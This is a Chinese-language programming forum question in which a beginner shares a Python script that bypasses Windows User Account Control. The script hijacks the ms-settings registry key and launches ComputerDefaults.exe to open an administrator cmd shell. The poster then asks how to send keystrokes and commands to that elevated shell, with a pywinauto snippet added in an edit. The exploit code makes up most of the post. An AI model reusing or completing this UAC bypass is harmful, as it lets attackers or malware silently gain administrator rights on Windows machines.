我有一个Python脚本可以绕过Windows中的UAC(绕过用户帐户控制)。
然后我需要能够以某种方式与打开的 CMD 进行通信并向其传递命令。例如:回声测试
我只能找到打开新命令并与其通信的代码。然而,这并没有帮助,因为我需要与我通过 UAC 旁路创建的新的(当前正在运行的)进行通信。
UAC绕过.py
import os
import sys
import ctypes
import winreg
def create_reg_key(key, value):
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-
settings\shell\open\command')
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command', 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError:
raise
def exec_bypass_uac(cmd):
try:
create_reg_key('DelegateExecute', '')
create_reg_key(None, cmd)
except WindowsError:
raise
def bypass_uac():
try:
current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
cmd = "C:\windows\System32\cmd.exe"
exec_bypass_uac(cmd)
a=os.system(r'C:\windows\system32\ComputerDefaults.exe')
a.SendKeys("aaa")
return 1
except WindowsError:
sys.exit(1)
if __name__ == '__main__':
if bypass_uac():
print ("Enjoy your Admin Shell :)")
我对编码和Python非常陌生。请友好一点 :)
EDIT:
我下面有这个代码。它将密钥发送到正常的 cmd 进程,但不会将其发送到具有管理员权限的 cmd。
from pywinauto import Application
app = Application().connect(process = 16364)
dlg = app.top_window_()
dlg.TypeKeys('hello world')